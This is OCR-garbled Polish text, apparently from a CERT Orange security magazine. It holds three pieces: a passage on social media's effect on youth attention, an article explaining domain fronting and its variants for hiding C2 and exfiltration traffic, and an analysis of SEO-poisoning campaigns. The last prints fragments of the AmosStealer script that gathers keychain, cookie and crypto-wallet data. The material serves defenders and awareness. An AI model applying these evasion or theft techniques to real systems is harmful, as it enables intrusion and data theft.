Tym bardziej ze relacje miedzy uzytkownikiem (w szcze-
golnosci nieletnim) a platforma spotecznos$ciowg cechuje
wysoki poziom asymetrii! Wielu dorostych uzytkownikéw
(a co dopiero dzieci i mtodziez) nie ma pojecia, jak dziatajg
algorytmy social mediow. A jak to wyglada z drugiej
strony? Platformy majg do dyspozycji zaawansowane
narzedzia analizy danych, testowania reakcji uzytkowni-
kow i optymalizacji interfejséw pod katem maksymalnego
zaangazowania.

Co to oznacza? Wystarczy spojrze¢ na dowolne medium
spotecznosciowe, by zobaczyc¢, jak potrafig sie nakrecac
i antagonizowag ich petnoletni uzytkownicy! A co dopiero
mtodsi, ktorzy:

m majg ograniczong zdolnos¢ do samodzielnego zarza-
dzania czasem i bodzcami;

= Sg na wczesnym etapie rozwoju psychospotecznego,
a istotne struktury ich mézgdéw sg wcigz w kluczowym
etapie tworzenia;

m czesto dziatajg pod presja rowiesniczg i FOMO;

m nierzadko — niestusznie — Zyjg w poczuciu anonimowosci
w internecie.

W efekcie powstaje specyficzne srodowisko. Z jednej
strony uzytkownik uwaza, ze ma poczucie kontroli nad
tym, co konsumuje. Z drugiej jednak strony de facto jego
uwaga jest w duzej mierze sterowana zewnetrznie.



Dwojako - krotko- i dtugoterminowo. Na krétszg mete mamy
do czynienia z ludZzmi, ktérych z powodu przebodzcowania
mediami spotecznosciowymi charakteryzuja:

m obnizona koncentracja i czujnosc¢,
m zwigkszona impulsywno$¢ w podejmowaniu decyzji,

ale takze — w powigzaniu z powyzszymi:

m trudnosé w rozpoznawaniu tresci manipulacyjnych
i fatszywych,
m ograniczona sktonnos$¢ do weryfikaciji Zrédet informacii.

U tego typu os6b w blizszej perspektywie rosnie ryzyko pad-
niecia ofiarg dezinformacji czy socjotechnicznych trikéw.

Jeszcze gorzej robi sig, gdy rozwazymy konsekwencije dtu-
goterminowe. Jakie ryzyka na dtuzszg mete moga wyniknaé
z nadmiernej ekspozycji na przesycone dopaming tresci? Sa to:

m preferowanie tresci krétkich i emocjonalnych kosztem anali-
tycznych,
m obnizenie progu krytycznego myslenia.

A w efekcie - zwigkszona podatnosé na narracje polaryzujace

i antagonizujgce. Z punktu widzenia bezpieczenstwa oznacza
to uzytkownika, ktéry czesciej reaguje automatycznie niz reflek-
syjnie. A juz szczegdlnie w grupie wiekowej, u ktérej w okresie
dojrzewania (12-18 lat) mézg przechodzi przez istotne zmiany
w obszarach odpowiedzialnych za emocje, samokontrole

i podejmowanie decyzji', zas odpowiedzialna za planowanie

i kontrole impulséw kora przedczotowa jest na etapie wzmo-
zonego rozwoju, by osiggna¢ petna dojrzato$é dopiero ok. 25
roku zycia?!

Media spotecznosciowe nie sg z definicji zagrozeniem, jednak
ich architektura znaczaco wptywa na zachowania uzytkowni-
kéw i poziom ich podatnosci na zagrozenia cyfrowe. W przy-
padku dzieci i mtodziezy oznacza to koniecznos¢ szczegdinej
ochrony, wynikajacej nie z braku kompetenciji, lecz z natural-
nych ograniczen rozwojowych.

Dos¢ regularnie opowiadam o zagrozeniach w sieci mtodziezy,
od Il klasy szkoty podstawowej do ucznidw szkét srednich.
Obserwujac ich reakcje podczas modutéw o mediach spotecz-
nosciowych, mam pewnos¢, ze przynajmniej czesci z nich ten
temat dotyczy, nierzadko na powaznym poziomie. Czy powie-
dzenie: ,,To zte, nie rébcie tego!” przyniesie jakikolwiek efekt?
Oczywiscie, ze nie. Powody sa przynajmniej trzy: dziecieca/
miodziezowa przekora, fakt, ze zakazany owoc zawsze najle-
piej smakuje, no i wspominany wczesniej fakt analogii dopami-

nozaleznosci do ,,prawdziwych” uzaleznien.

Co w takim razie moze pomdc? Bazujac na reakcjach mtodej
widowni w trakcie prezentaciji, ale takze na pdzniejszej infor-
maciji zwrotnej, uwazam, ze efekt przynosi spokojne wyja-
$nienie opisanych w tym tek$cie mechanizmoéw. Tego, co sie
dzieje z mézgiem zalewanym dopaming, momentu rozwoju
mtodego organizmu, potencjalnych krétko- i dtugofalowych
konsekwenciji. Nie straszyc, nie zabrania¢ — pokaza¢ mtodzie-
zy, w jakiej sytuaciji sie znalazta, zdac jej sprawe, ze de facto

Z perspektywy bezpieczenstwa
kluczowe jest budowanie swia-
domosci mechanizméw dziata-
nia platform oraz wzmacnianie
odpornosci uzytkownikéw na
manipulacje uwaga. To jeden

z istotnych elementow profilakty-
ki zagrozen cyfrowych.

stata sie narzedziem do zarabiania w rekach wtodarzy mediéw
spotecznosciowych. Dag jej prawo, by sama wyciagneta
whnioski, zrozumiata, a moze nawet sie zbuntowata.

Z perspektywy bezpieczenstwa kluczowe jest budowanie
$wiadomosci mechanizméw dziatania platform oraz wzmac-
nianie odpornosci uzytkownikéw na manipulacje uwaga. To
jeden z istotnych elementéw profilaktyki zagrozen cyfrowych.
Pomysicie, kiedy Wy, dorosli, ostatnio zastanawialiscie sie, ile
czasu sami spedzacie w sieci? Jaki jego odsetek poswiecacie
na bezrefleksyjne lajkowanie postéw, przewijanie shortséw/
storiesdw czy wikfanie sie w nieistotne, nakrecajace dyskusje
w sieci?

Tak wiec przede wszystkim autorefleksja. W kolejnych krokach
— jesli wychowujesz mtodego cztowieka — wspodlna, konstruk-
tywna dyskusja. Na dostawcéw tresci nie ma co liczy¢, zas
dostawcy internetu formalnie nie moga zrobi¢ z tym nic, poza
edukacja.

Media spotecznosciowe nie sa neutralnym ttem naszego zycia
cyfrowego. Sg aktywnym uczestnikiem procesu decyzyjnego
uzytkownika — szczegdlnie mtodego. | nikt nas nie pyta, czy
chcemy wzig¢ udziat w tym de facto eksperymencie. Po prostu
jestesmy jego celem. Codziennie. Nasze dzieci. My sami. A je-
dyna realng forma obrony nie jest zakaz ani moralizowanie, lecz
zrozumienie mechanizmu. Bo tylko swiadomy uzytkownik ma
szanse odzyskac kontrole nad wtasng uwaga.

A w sSwiecie, w ktérym uwaga stata sie towarem, cyberbezpie-
czenstwo zaczyna sie w $wiadomosci uzytkownika.

' Casey, B. J., Jones, R. M., & Hare, T. A. (2008) The Adolescent Brain, Annals of the New York Academy of Sciences
2 Steinberg, L. (2013) The Teenage Brain: Self-Control, Current Directions in Psychological Science
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Domain fronting — odrodzenie
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Domain fronting
- odrodzenie

//" Michat kopacki

Wymarzone narzedzie w arsenale Red Team i zrodto nocnych kosz-
mardéw Blue Teamu. Cyfrowa zbrodnia doskonata — bron, ktéra nie zos-
tawia sladéw. Nic dziwnego, ze od dekady domain fronting jest kon-
sekwentnie zwalczany przez najwiekszych dostawcéw CDN. Pogtoski
o jego ostatecznym upadku okazaly sie jednak mocno przedwczesne.

cert.orange.pl
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Domain fronting to technika, ktéra umozliwia ukry-

cie rzeczywistego celu komunikacji sieciowej. Polega

na celowym wprowadzeniu rozbieznosci pomiedzy
nazwg domeny przesytang w rozszerzeniu TLS SNI
a wartoscig nagtéwka HTTP Host w zadaniu kiero-
wanym do reverse proxy lub sieci CDN. W efekcie
prawdziwy host docelowy pozostaje ukryty dla
obserwatora — o ile ten nie ma mozliwosci petnej
deszyfracji ruchu.

Jak w 2025 roku pokazali badacze z firmy Prae-
torian, domain fronting wcigz mozna skutecznie
realizowac¢ — nawet z wykorzystaniem domen tak
rozpoznawalnych jak google.com czy youtube.com.
Technika ta, cho¢ obecnie rzadziej omawiana,
nadal stanowi realne wyzwanie dla zespotéw SOC

i zdecydowanie zastuguje na ponowne przeanalizo-
wanie.

W typowym potgczeniu HTTPS ta sama nazwa
domenowa wystepuje w zapytaniu DNS, w trakcie
negocjacji TLS (w rozszerzeniu SNI — Server Name
Indication) oraz w nagtéwku HTTP Host (rysunek 1.).
Warto zwrdci¢ uwage, ze zaréwno zapytania DNS, jak
i rozszerzenie SNI w wigkszosci przypadkéw sa prze-
sytane w formie niezaszyfrowanej, a wiec sa dostepne
dla postronnego obserwatora ruchu. Fakt ten jest
powszechnie wykorzystywany przez systemy monito-
rowania, cenzury i filtrowania ruchu.

Domain fronting wykorzysty-
wany przez cyberprzestepcow
stat sie powaznym wyzwa-
niem dla zespotéow odpowie-
dzialnych za bezpieczenstwo
sieci firmowych. Szyfrowany
ruch, ukrywajacy sie pod ko-
munikacja z domenami o wy-
sokiej reputaciji, jest wyjat-
kowo trudny do prawidiowej
identyfikacji.

Istniejg co prawda mechanizmy zwigkszajgce pouf-
nos¢, takie jak szyfrowane warianty DNS (DoH i DoT),
czy tez ukrycie nagtowka SNI w formie ESNI (Encryp-
ted SNI) lub ECH (Encrypted Client Hello). W prak-
tyce jednak zdecydowana wigekszos$¢ klientéw nadal
wykorzystuje klasyczne, jawne zapytania DNS oraz
nieszyfrowane SNI.

DNS
A? legit.example

-----

L= ")
TLS origin
SNI: legit.example server
HTTP

Host: legit.example

paxy

proxy/firewall g

Rysunek 1. Komunikacja HTTPS

W architekturach CDN obstuga potgczenia realizowana
jest w kilku warstwach. Sesja TLS jest terminowana na
jednym z weztéw brzegowych sieci (rysunek 2.), gdzie
klient postuguje sie nagtéwkiem SNI. Nastepnie ruch
kierowany jest do wtasciwego zasobu na podstawie
nagtowka HTTP Host.

W praktyce pomiedzy tymi etapami moga wystepowac
dodatkowe komponenty, takie jak cache czy proxy. Nie
majg one jednak istotnego znaczenia z perspektywy
omawianego mechanizmu, dlatego zostaty w niniej-
szym opisie celowo pominiete.

-
DNS TLS
A? legit.example SNI: legit.example
HTTP

Host: legit.example §

proxy/firewall

edge
server
N feeeee
/7 To
I
HTTP
Host: legit.example
..... v
L= I = 1011
DNS origin

server E

Rysunek 2. Komunikacja HTTPS z wykorzystaniem sieci CDN



W przypadku domain frontingu atakujgcy inicjuje sesje TLS,
przekazujac w rozszerzeniu SNI nazwe domeny o wyso-
kiej reputaciji. Faktyczna manipulacja nastepuje dopiero

w zaszyfrowanej czesci potgczenia — w nagtéwku HTTP
Host. Zamiast tej samej domeny, ktérag podat wczesniej,
umieszcza tam adres infrastruktury znajdujacej sie pod jego
kontrolg (rysunek 3.). W rezultacie sie¢ CDN przekierowuje
ruch do wskazanego przez atakujgcego serwera.

B
DNS TLS
A? legit.example SNI: legit.example
HTTP
Host: malicious.xyz §
&g
proxy/firewall
edge
- é server E
I \ =
DNS '
HTTP
Host: malicious.xyz
origin
server E
—

Rysunek 3. Domain fronting z wykorzystanien CDN

Dla postronnego obserwatora, takiego jak proxy (jesli nie
wykonuje deszyfracji danej frakcji ruchu), system DPI opera-
tora czy narzedzie klasy IDS, widoczne s3 jedynie zapytania
DNS oraz rozszerzenie SNI. Poniewaz atakujgcy nawigzuje
potaczenie z adresem IP przypisanym w DNS do legalnego
hosta i wysyta dopasowany do niego nagtéwek SNI, nie

ma podstaw, by uzna¢ taki ruch za podejrzany. To wtasnie
czyni te technike wyjatkowo trudng do wykrycia i stanowi
istotne wyzwanie dla zespotéw bezpieczeristwa sieciowego.

Istniejg odmiany domain frontingu, ktére jeszcze skutecz-
niej utrudniaja detekcje. Jedna z nich jest tzw. domain
hiding, wykorzystujgcy rozszerzenie ESNI w TLS 1.3. W tym
przypadku atakujgcy przekazuje nazwe kontrolowanego
przez siebie hosta zaréwno w polu ESNI, jak i w nagtéwku
HTTP Host. Aby zmyli¢ systemy monitorujgce oraz zapory
sieciowe, dodaje dodatkowy, nieszyfrowany nagtéwek SNI
z nazwg legalnej domeny frontowe;.

Z perspektywy sieci CDN takie potgczenie wyglada popraw-
nie — wartosci ESNI i HTTP Host sg zgodne, wiec sesja nie

zostaje zablokowana przez mechanizmy chronigce przed
klasycznym domain frontingiem. W sytuaciji, gdy uzywany
jest ESNI, nieszyfrowany nagtéwek SNI jest ignorowany
przez wezet brzegowy. Dla zewnetrznego obserwatora sytu-
acja wyglada wiec tak samo jak wczesniej: ruch wydaje sie
prowadzi¢ do domeny o wysokiej reputacji, cho¢ faktycznie
trafia do innego zasobu.

W $rodowiskach, w ktérych filtrowanie ruchu opiera sie
wytacznie na blacklistach, mozliwe jest zastosowanie
uproszczonego wariantu techniki, znanego jako domain-
less fronting. W tym przypadku potaczenie wykorzystuje
jedynie ESNI oraz nagtéwek HTTP Host, bez pola SNI.
Narzedzia monitorujace nie widzg wéwczas zadnej jawnej
nazwy domenowej, natomiast z punktu widzenia infra-
struktury CDN sesja nadal jest prawidtowa dzieki spéjno-
$ci wartosci ESNI i Host. Podobny efekt mozna uzyskac,
stosujac mechanizm ECH (Encrypted Client Hello), w tym
réwniez w potgczeniach realizowanych na podstawie pro-
tokotu QUIC.

Domain fronting zyskat popularnosé jako narzedzie do
omijania cenzury i unikania inwigilacji przez opozycjoni-
stéw, dziennikarzy oraz aktywistéw — szczegdlnie w krajach
autorytarnych. Ukrycie nieprawomysinej komunikaciji za
legalnymi domenami o wysokiej reputacji znacznie utrud-
nia jej wykrycie, a blokada takiego ruchu przez operatoréw
staje sie niemal niemozliwa bez odciecia popularnych ustug.
Koszt spoteczny, wizerunkowy lub biznesowy takiej blokady
bytby nie do przyjecia.

W 2016 roku wtadze kilku panistw Bliskiego Wschodu
na duzg skale zablokowaty szyfrowane komunikato-
ry, w tym Signal. Poniewaz dziataty one na bazie sieci
CDN, ograniczenie dostepu do adreséw IP nie wcho-
dzito w gre bez wytgczenia innych ustug chmurowych.
Dlatego operatorzy zastosowali filtrowanie na podsta-
wie nagtéwkéw SNI - jedynej niezaszyfrowanej czesci
potaczenia TLS.

Po wdrozeniu tych zabezpieczen Signal zaczat stosowaé
domain fronting dla uzytkownikéw w Egipcie i Zjednoczo-
nych Emiratach Arabskich, wykorzystujac infrastrukture
Google (domeneg google.com). Z perspektywy operatoréw
telekomunikacyjnych ruch ten wygladat identycznie jak
legalne potaczenia z popularng wyszukiwarkg. Bez petnej
deszyfracji TLS (ktéra wymagataby zainstalowania certyfi-
katéw urzeddéw na wszystkich urzadzeniach uzytkownikow)
zablokowanie Signala byto niemozliwe bez jednoczesnego
odciecia dostepu do Google.

Po zablokowaniu domain frontingu przez Google w marcu
2018 roku Signal ogtosit przejscie na AWS, wykorzystujac
domene souq.com — popularng w krajach arabskich platfor-
me e-commerce (obecnie czes¢ Amazon). Gdy informacja
ta zostata upubliczniona, Amazon stwierdzit, ze plany Signa-
la naruszajg zasady AWS i w kwietniu 2018 roku uniemozli-
wit domain fronting w ustudze CloudFront.
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Warto dodac, ze Signal nie byt jedynym komunikato-
rem stosujgcym domain fronting — podobng technike
wykorzystywat takze Telegram, omijajgc w ten sposéb
blokady na terenie Ros;ji.

Technike te stosowat réwniez Tor poprzez plugin
Meek, ktéry kierowat ruch w serii zapytan HTTPS do
weztéw CDN Amazon CloudFront i Google Cloud

Platform, a po wdrozeniu na nich blokad — przez Azure.

W nagtéwkach SNI widoczne byty popularne domeny
hostowane w tych sieciach, co umozliwiato omijanie
cenzury oraz nawigzywanie potgczen Tor, nawet prze-
chodzac przez proxy w sieciach korporacyjnych.

Mozliwos¢ podszywania sie pod legalng komunikacje
zostata szybko wykorzystana rowniez przez cyberprze-
stepcéw. W rezultacie domain fronting stat sie powaz-
nym wyzwaniem dla zespotéw odpowiedzialnych za
bezpieczenstwo sieci firmowych. Szyfrowany ruch,
ukrywajacy sie pod komunikacja z domenami o wyso-
kiej reputaciji, jest wyjatkowo trudny do prawidtowej
identyfikaciji.

Mozna wyrézni¢ miedzy innymi nastepujace scenariu-
sze wykorzystania:

m komunikacja C2 — malware tgczacy sie z serwerem
Command & Control,

m omijanie blokad — uzycie wezta ukrytego za domain
fronting jako proxy do internetu w celu obej$cia me-
chanizméw detekcji i mitygacii,

m eksfiltracja danych — przesytanie informaciji stano-
wigcych tajemnice przedsiebiorstwa na zewnetrzne
serwery,

m reverse shell / reverse tunnel — uzyskanie zdalnego
dostepu do hostéw znajdujacych sie wewnatrz sieci
firmowej.

Komunikacja z serwerami prze-
stepcow wyglada niemal iden-
tycznie jak zwykly ruch - wyko-
rzystuje te same domeny, adresy
IP i porty. Z tego powodu standar-
dowe metody oparte na tych loC
zawodza. Ze wzgledu na szyfro-
wanie, nie sprawdzaja sie réwniez
sygnatury oparte na wzorcach
tekstowych lub binarnych.

Od 2020 roku MITRE ATT&CK wyréznia domain fron-
ting jako podtechnike T1090.004 w ramach techniki
Proxy / taktyki Command and Control. Technika ta
jest wykorzystywana miedzy innymi przez nastepujace
oprogramowanie:

m Cobalt Strike (S0154),

m Meek (S0175) — wspomniany wczesniej przy okazji
Tor, wykorzystywany m.in. przez rosyjska grupe
APT29,

= Mythic (S0699) — przeznaczony dla red team frame-
work open source, ktéry byt wykorzystywany m.in.
przez pakistanska grupe APT36,

» SMOKEDHAM (S0649) — backdoor wykorzystywat
domain fronting w Azure do ukrycia komunikacji
z serwerem C2.

Z perspektywy korporacyjnego firewalla lub proxy
komunikacja z serwerami przestepcéw wyglada nie-
mal identycznie jak standardowy ruch — wykorzystuje
te same domeny, adresy IP i porty. Z tego powodu
standardowe metody oparte na tych loC zawo-

dza. Nie sprawdzajg sie réwniez sygnatury oparte

na wzorcach tekstowych lub binarnych, poniewaz
nieprawidtowosci wystepuja w szyfrowanej czesci
potaczenia.

Dodatkowa trudnoscig jest powszechne stosowanie
mechanizméw offloadu dla ruchu uznawanego za
bezpieczny. W celu odcigzenia koncentratoréw VPN
stosuje sie split-tunnel, a wewnatrz sieci korporacyj-
nej — direct routing, ktéry zmniejsza obciazenie ser-
weréw proxy. Przyktadowo, ruch o duzym wolumenie
i teoretycznie niskim ryzyku (np. streaming wideo
czy aktualizacje oprogramowania od renomowanych
dostawcow) jest czesto routowany bezposrednio,
bez przechodzenia przez VPN, sie¢ korporacyjna

i proxy.

Widocznos¢ takiego ruchu dla zespotéw bezpie-
czenstwa jest ograniczona: w przypadku split-tunnel
ogranicza sie gtéwnie do monitoringu stacji konco-
wych, natomiast przy direct routing z sieci korpo-
racyjnej — do analizy tylko w warstwie IP (poniewaz
ruch jest szyfrowany). Atakujacy, ktéry stosuje
domain fronting z wykorzystaniem domeny typu
YouTube czy Google, ma zatem duze szanse na
pozostanie niewykrytym.

Skutecznym rozwigzaniem jest petna deszyfracja ruchu
TLS umozliwiajgca identyfikacje rozbieznosci miedzy
SNI a nagtéwkiem Host. Rozwigzanie to ma jednak
powazne ograniczenia, przez co nie zawsze nadaje sie
do wdrozenia:

m Wysokie koszty — petna deszyfracja wymaga znacz-
nych zasoboéw obliczeniowych po stronie narzedzi
inspekcyjnych i uniemozliwia stosowanie offloadu
w formie split-tunnel czy direct routing;

m dane wrazliwe — deszyfracja ruchu do serwisow fi-
nansowych lub medycznych moze naruszac regulacje
prawne (co czyni takie domeny szczegdlnie atrakcyj-
nymi dla atakujacych);

m certificate pinning — aplikacje wykorzystywane bizne-
sowo moga zrywac potgczenia po wykryciu podmia-
ny certyfikatu zwigzanej z inspekcjag TLS.



Kolejnym skutecznym rozwigzaniem sg narzedzia klasy
EDR/XDR. Kluczowe znaczenie ma tu zastosowanie odpo-
wiednich sygnatur wykrywajacych podejrzang aktywnoscé
bezposrednio na stacji koncowej, takg jak uruchamianie
proceséw z niestandardowych lokalizacji czy nietypowa dla
danej aplikacji aktywnos¢ sieciowa.

Ponadto stosuje si¢ metody heurystyczne, w tym: finger-
printing TLS (np. JA3), analize behawioralna, detekcje
beaconingu czy identyfikacje nietypowych wzorcéw ruchu
(np. wysytanie duzych ilosci danych do serwera aktualiza-
cji albo odpytywanie serwisu streamingowego w bardzo
krétkich odstepach bez pobierania danych). Wada tych
podejs¢ jest jednak wzrost liczby fatszywych alarméw wraz
ze zwiekszaniem czutosci detekcji, co moze generowaé
koszty operacyjne.

Zmierzch czy renesans?

Ze wzgledu na przestgpcze wykorzystanie domain frontingu
oraz rosngce naciski regulacyjne od okoto 10 lat dostaw-

cy CDN ograniczaja jego stosowanie. Pierwszym, ktéry
wprowadzit weryfikacje zgodnosci nagtéwka Host z SNI,

byt Cloudflare na przetomie roku 2015 i 2016. W 2018 roku
dotaczyty GCP i Amazon CloudFront, a Microsoft Azure
wspierat domain fronting az do 2022 roku. Jako ostatni

z duzych dostawcéw w 2024 roku technike te zablokowat
Fastly. Domain fronting pozostaje mozliwy u mniejszych do-
stawcéw CDN lub na serwerach bezposrednio hostowanych

Podsumowanie

Domain fronting — odrodzenie

przez przestepcéw. Takie rozwigzania sg jednak znacznie
mniej atrakcyjne — domeny majg nizsza reputacje, a ryzyko
przypadkowego zablokowania kluczowych serwiséw jest
wyraznie mniejsze.

Mogtoby sie wydawac, ze znaczenie domain frontingu
bedzie malato. Temat powrécit jednak we wrzesniu 2025
roku za sprawg artykutu Adama Crossera z firmy Praetorian
pt. ,Domain Fronting is Dead. Long Live Domain Fronting!”.
Autor opisat odkrytg przez siebie luke w ustugach Google,
umozliwiajagcg domain fronting na flagowych domenach,
takich jak: google.com, youtube.com czy snapchat.com

— pod warunkiem wykorzystania do hostowania ztosliwych
aplikacji funkcjonalnosci Google Cloud Run.

Autor opublikowat réwniez dziatajacy Proof of Concept wraz
ze szczego6towg instrukcjg wdrozenia. W chwili powstawa-
nia artykutu metoda pozostaje w petni mozliwa do wykorzy-
stania, pozwalajgc na fronting ruchu do wtasnych serwiséw
uruchomionych w Google Cloud Run - przy uzyciu domen
takich jak google.com czy youtube.com. Szczegdlnie nie-
bezpieczna okazuje sie ta druga, poniewaz ze wzgledu na
wysoki wolumen ruchu i potencjalnie niskie ryzyko bizneso-
we czesto nie podlega deszyfracji, a nawet catkowicie omija
firmowa infrastrukture (tzw. split-tunnel).

Prég wejscia dla cyberprzestepcéw znaczaco spadt, dla-
tego zespoty SOC powinny przygotowac sie na wyrazne
nasilenie tego typu atakéw.

cert.orange.pl
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Snajper ukryty
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SEO (Search Engine Optimization) Poisoning - to technika wykorzy-
stywana przez cyberprzestepcéw w celu manipulowania wynikami
wyszukiwania, tak aby ztosliwe oprogramowanie lub fatszywe strony
internetowe pojawity sie wysoko na liscie rezultatow. Wektor ataku
polega na przygotowaniu ztosliwych tresci w taki sposéb, by dzieki
naduzyciu lub obejsciu mechanizméw SEO wydaly sie wiarygodne dla
wyszukiwarek. Gdy uzytkownik uzna wynik za autentyczny i kliknie

w zainfekowanag strone, trafia do witryn zawierajgcych ztosliwe opro-
gramowanie, fatszywe instalatory, czy tez tresci phishingowe.
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Pierwszy powdd to skalowalnosé i skutecznosé.
Dzieki SEO i reklamom mozna dotrze¢ do szerokiej
grupy uzytkownikéw bez koniecznosci bezposrednie-
go ataku na ich urzadzenia. Internauci, co do zasady,
ufajg wynikom wyszukiwania, zwtaszcza jesli domena
wyglada znajomo lub profesjonalnie.

Drugi powéd to niski koszt operacyjny. Koszty do-
men, kampanii reklamowych (np. Google Ads) i SEO
moga by¢ mniejsze niz rozwdj skomplikowanego,
ztosliwego oprogramowania. Po utworzeniu ztosliwej
strony i optymalizacji SEO mozna przez diuzszy czas
generowac ruch oraz infekcje.

Trzeci powdd to trudnosci w szybkim wykrywaniu.
Strony moga wygladacé rzetelnie i by¢ dobrze przy-
gotowane, co utrudnia ich natychmiastowe zabloko-
wanie. Atakujgcy moga rotowa¢ domeny, zmieniaé
IP, a takze tworzy¢ wiele klonéw witryn, co utrudnia
taktyki obronne.

W ostatnich latach SEO Poisoning byt wykorzystywa-
ny w wielu duzych kampaniach ztosliwego oprogra-
mowania. Jedna z najbardziej znanych byta kam-
pania Gootloader, gdzie cyberprzestepcy stworzyli
spreparowane strony ,technicznych poradnikéw” lub
sinstrukcji rozwigzywania probleméw?”, ktére zajmo-
waty wysokie miejsca w Google. Po wejsciu na strone
uzytkownicy pobierali pliki konfiguracyjne, ktére

w rzeczywistosci byty downloaderami Gootkita lub
innych rodzajéw malware.

W latach 2024-2025 gwattownie wzrosta liczba kam-
panii atakujacych macOS za pomocg infostealeréw.
Cecha wspdina kilku gtosnych kampanii byto wyko-
rzystanie ptatnych reklam Google Ads wraz ze stro-
nami podszywajgcymi sie pod popularne narzedzia.
Ofiary byty zachecane do pobrania plikéw DMG lub
wykonania polecen w terminalu. Te nastepnie urucha-
miaty wieloetapowe droppery i instalowaty stealera.

Pierwsza z kampanii, z poczgtku 2025 roku, celowata
w uzytkownikow systeméw macOS z wykorzystaniem
AmosStealera. Cyberprzestepcy stworzyli fatszywa
wersje strony Homebrew, by infekowa¢ urzadzenia

z systemem macOS. Oprogramowanie, znane jako
AmossStealer (lub ,Atomic”), to infostealer zaprojek-
towany specjalnie dla uzytkownikéw tego systemu,
ujawniony po raz pierwszy w kwietniu 2023 roku.
Sprzedawano go w modelu subskrypcyjnym (w cenie
1000 USD za miesigc korzystania) za posrednictwem
prywatnych kanatéw na Telegramie. Zostat napisany
w jezyku Go i specjalnie zoptymalizowany do dziata-
nia w srodowisku z Cupertino.

AmossStealer jest wielofunkcyjnym narzedziem oferu-
jacym przestepcom szereg zaawansowanych narzedzi

do wykradania danych. Wsréd nich mozna znalez¢
funkcje przechwytywania haset, kradziezy plikow

z systemu uzytkownika oraz pozyskiwanie danych

z przegladarek (zapamietane loginy, pliki cookie czy
dane kart ptatniczych). Szczegdlnym zagrozeniem jest
mozliwos$¢ przejecia informacji z ponad 50 réznych
portfeli kryptowalut, co czyni AmosStealer powaznym
ryzykiem dla oséb przechowujgcych cyfrowe aktywa
na komputerach.

Tworcey ztosliwego oprogramowania w cenie zapew-
niajg klientom kompleksowe wsparcie. Oferujg m.in.:
panel zarzadzania ofiarami, narzedzia do tamania ha-
set MetaMask, sprawdzarke kryptowalut oraz instala-
tory DMG. W tamtym czasie pliki DMG z wirusem byty
praktycznie niewykrywalne przez programy antywiru-
sowe, co zwiekszato skutecznosé atakow.

Skradzione dane przekazywano za pomoca po-
pularnego komunikatora Telegram, co dodatkowo
utrudniato $ledzenie ich operaciji, a takze blokowanie
ztosliwego ruchu. Telegram jest bowiem narzedziem
powszechnie akceptowanym jako legalny $rodek ko-
munikacji i uzywanym na co dzien przez miliony uzyt-
kownikdéw na catym $wiecie. Wykorzystanie go jako
kanatu do eksfiltracji danych stawia duze wyzwanie,
poniewaz jako legalne narzedzie nie podlega tatwej
blokadzie systemowej. AmosStealer zaréwno w 2023
roku, jak i pézniej pozostawat istotnym zagrozeniem
dla uzytkownikow macOS, zwtaszcza tych korzystajg-
cych z kryptowalut. Jego zaawansowane mechanizmy
kradziezy danych oraz zdolno$¢ do unikania wykrycia
sprawiaty, ze byt szczegdlnie niebezpieczny.

21 stycznia 2025 roku cyberprzestepcy postuzyli sie
marka Homebrew, popularnym menedzerem pakietéw
dla systeméw macOS i Linux. Narzedzie to jest
szeroko wykorzystywane przez uzytkownikéw do
instalowania oprogramowania i zarzgdzania oprogra-
mowaniem. W tej kampanii reklama w Google
wyswietlata poprawny adres URL Homebrew,
sbrew.sh”, po kliknieciu przekierowujac jednak

na fatszywg strone ,brewe.sh”.

Homebrew

The Missing Package Manager for macOS (or Linux)

Install Homebrew

The script ex
it does

Na fatszywej stronie uzytkownikéw zachecano do
zainstalowania Homebrew poprzez wklejenie podane-
go polecenia w terminalu macOS lub wierszu polecen



Linux. Wykonanie tego polecenia powodowato jednak
pobranie i uruchomienie ztosliwego oprogramowania na
urzadzeniu ofiary.

Ponizszy kod jest czes$cig ztozonego skryptu Amosa, dzia-
tajagcego w macOS i majgcego na celu pozyskanie danych
uzytkownika (informacje systemowe, dane z przeglada-
rek, portfeli kryptowalutowych, notatnik, pliki cookie oraz
klucze przechowywane w systemie). Dane te sg nastepnie
zapisywane w katalogu tymczasowym, archiwizowane

i przesytane na zdalny serwer. Po zakoriczeniu dziatania
kod usuwa wszystkie slady swojej aktywnosci.

Przyjrzyjmy mu si¢ krok po kroku:

Pobiera nazwe biezgcego uzytkownika za pomoca
zmiennej Srodowiskowej USER.

Tworzy Sciezke uzytkownika (/Users/<nazwa_uzytkownika>).
Generuje losowy numer, aby utworzy¢ unikalny katalog
tymczasowy w /tmp/.

Wykonuje polecenie system_profiler, ktére zwraca
szczegotowe informacje o oprogramowaniu, sprzecie

i wyswietlaczach urzadzenia.

Wynik zapisuje w pliku tekstowym w katalogu tymcza-
sowym.

iwe_graj@kali: ~/Desktop/Amos
File Actions Edit View Help

9000 + 100

ofiler SPSoftwareData

Sekcja kodu skryptu odpowiedzialna za mapowanie
przegladarek i portfeli kryptowalutowych:

m chromiumMap: Zawiera liste potencjalnych lokalizacji
danych przegladarek opartych na Chromium, takich jak:
Google Chrome, Brave, Edge, Opera itp.

= walletMap: Definiuje $ciezki do réznych portfeli kryp-
towalutowych, takich jak: Electrum, Coinomi, Exodus,
Ledger Live, Monero, Bitcoin Core itd.

F iwo_graj@kali: ~/Desktop/Amos

File Actions Edit View Help

)-[~/Desktop/Amos

omium\ ",
Dev/\"}, {\"Ar

Sekcja kodu odpowiedzialna za kopiowanie danych
wykorzystuje funkcje readwrite i readwrite2 do kopio-
wania plikéw konfiguracyjnych i baz danych:

m klucze uzytkownika (login.keychain-db),

m dane notatek (NoteStore.sqlite i pliki pomocnicze -wal
oraz -shm),

m pliki cookie z Safari i innych przegladarek.

iwo_graj@kaliz ~/Desktop/Amos

File Actions Edit View Help

~/Desktop/Amos

Sekcja kodu odpowiedzialna za przetwarzanie danych
przegladarek:

m petla iteruje przez potencjalne lokalizacje danych prze-
gladarek Firefox, Waterfox i Pale Moon,
m funkcja parseFF przetwarza dane tych przegladarek.

F iwo_graj@kali: ~/Desktop/Amos

File Actions Edit View Help

)-[~/Desktop/Amos
t amos.sh |more

aterfox/Profile

repeat with fi
try

x in ff_paths
parsefFF(firefox, writemind)

end try
end repeat

Obstuga danych Chromium i portfeli kryptowalutowych:

m funkcja chromium przetwarza dane z przegladarek
opartych na Chromium, korzystajgc z mapy chromium-
Map; chromium(writemind, chromiumMap),

m funkcja deskwallets przetwarza dane portfeli kryptowalu-
towych, korzystajgc z mapy walletMap; deskwallets(wri-
temind, walletMap).

Sekcja kodu tworzy archiwum ZIP z wszystkimi skradzio-
nymi danymi.

